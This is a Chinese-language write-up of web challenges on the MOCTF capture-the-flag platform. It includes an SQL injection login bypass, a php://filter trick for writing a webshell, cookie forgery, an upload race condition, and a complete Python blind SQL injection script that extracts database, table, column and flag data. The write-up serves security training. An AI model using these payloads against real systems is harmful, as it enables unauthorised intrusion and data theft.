0x00
MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。网址是http://www.moctf.com/。
Web题做下来感觉难度适中,也不乏有意思的题目。
0x01 签到
加入qq群即可
0x02 一道水题
F12查看源码,flag在源码中
0x03 还是水题
网页中有一个提交按钮,根据提示输入moctf,但是input标签的属性被设置为disabled和最大长度为4
去掉这两个属性再提交即可
0x04 访问限制
根据网页提示”只允许使用NAIVE浏览器访问!”和”只允许中国香港记者访问!”修改HTTP请求头为
0x05 机器蛇
信息泄露,存在robots.txt
访问php文件,在注释中拿到flag
0x06 PHP黑魔法
同样是信息泄露,这里是vim的自动备份文件index.php~
拿到源码
明显看出是0e[0-9]+格式的字符串在进行弱类型比较时会按照科学计数法后比较,因此找出两个原文不同,md5后符合上述格式的字符串即可,可以直接搜到网上现成的
0x07 我想要钱
比较简单,利用科学计数法绕过,money=3e9
0x08 登录就对了
最简单的sql注入
name='||1#&pass=1
登录后即有flag
0x09 Flag 在哪?
比较脑洞的一道题
访问flag.php后会发生多次跳转,依次为
flag.php -> where_is_flag.php -> I_have_a_flag.php -> I_have_a_frog.php -> no_flag.php
根据题目的提示
搜到PPAP这首歌,根据歌词的规律猜测出flag的地址为flagfrog.php
0x0A 死亡退出
给出了题目源码
想到了P师傅之前分析过的文章
利用php的base64 decode在遇到除了[a-zA-Z0-9+/]之外的字符时会跳过的特性,结合php伪协议,让写入的字符串为<?php exit;?>和我们的base64 encode后的webshell,前面的解码后因没有实际意义,所以被php直接输出,从而成功写入webshell。
需要注意$c原本有多少个可解码字符,在这里为7个,所以我们后面要添加1个
发起请求
成功执行命令
0x0B 文件包含
file参数可以包含文件
猜测后台代码这样 include(‘./’.$_GET[‘file’]);
有 ../ 时会返回 Wrone Answer,因此这里不能返回上层目录
经过测试和welcome.txt同级的目录下存在flag.php,因此直接包含即可
0x0C 美味的饼干
输入人以用户名密码登录后查看cookie
ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=
Base64解码后为
ee11cbb19052e40b07aac0ca060c23ee
去md5网站上查询得到user
所以这里是把admin先md5加密再base64 encode,替换掉原cookie,获得flag
0x0D 火眼金睛
给出了随机的一大串文本,提交正确的moctf数量拿到flag
2s网页刷新一次,这里写了个脚本
0x0E 没时间解释了
访问index.php时会302跳转到index2.php,留意index.php的内容得到提示
May be u need uploadsomething.php
是一个上传页面,上传后去访问提示Too slow!
猜测是上传后在很短的时间后就删除了,联想到安恒杯的一道题目,要写一个脚本上传后立刻访问,但是依然提示 Too slow!
于是想到了应该是写入文件和删除文件语句间隔时间较短,这本质上就是一个时间竞争问题,我们只要利用burp开两个intruder,一个一直发上传文件的包,另一个一直发访问文件的包,就会达到在两条语句中间访问到了这个文件的效果
长度为221的即是在删除前成功访问到文件的请求
0x0F 简单注入
虽然是叫简单注入,却是这些题目里分值最高的一道了
我们来仔细分析一下
简单测试下,ban掉了以下字符
根据 'and'1 和 'and'0 的回显不同作为注入的基本点
比如查询数据库名长度的payload是 'and(length(database()))='
注意以下几点
解题脚本
# coding=utf-8
import requests
import string
url = 'http://119.23.73.3:5004/?id=1'
s = string.printable
def getDatabase():
for i in range(20):
url2 = url + "'and(length(database()))='" + str(i+1)
text = getData(url2)
if 'Hello' in text:
databaseLen = i+1
print '[*] The current database length is ' + str(i+1)
break
database = ''
for i in range(databaseLen):
for j in s:
url2 = url + "'and(hex(left(database()," + str(i+1) + ")))='" + (database+j).encode('hex')
text = getData(url2)
if 'Hello' in text:
database += j
#print database
break
print '[*] The current database is ' + database
getTables()
def getTables():
tables = ''
for i in range(50):
for j in s:
url2 = url + "'and(select(hex(left(group_concat(table_name)," + str(i+1) + ")))from(information_schema.tables)where(table_schema=database()))='" + (tables+j).encode('hex')
text = getData(url2)
if 'Hello' in text:
tables += j
#print tables
break
print '[*] Tables names is : ' + tables
table = tables.split(',')[0]
getColumns(table)
def getColumns(table):
columns = ''
for i in range(50):
for j in s:
url2 = url + "'and(select(hex(left(group_concat(column_name)," + str(i+1) + ")))from(information_schema.columns)where((table_schema)=database()and(table_name)='" + table + "'))='" + (columns+j).encode('hex')
text = getData(url2)
if 'Hello' in text:
columns += j
#print columns
break
print '[*] Columns names is : ' + columns
column = columns.split(',')[0]
getFlag(table, column)
def getFlag(table,column):
flag = ''
for i in range(50):
for j in s:
url2 = url + "'and(select(hex(left(group_concat(" + column + ")," + str(i+1) + ")))from(" + table + "))='" + (flag+j).encode('hex')
text = getData(url2)
if 'Hello' in text:
flag += j
#print flag
break
print '[*] The flag is: ' + flag
def getData(url):
r = requests.get(url, timeout=10)
return r.text
def main():
getDatabase()
if __name__ == '__main__':
main()
输出结果
成功拿到flag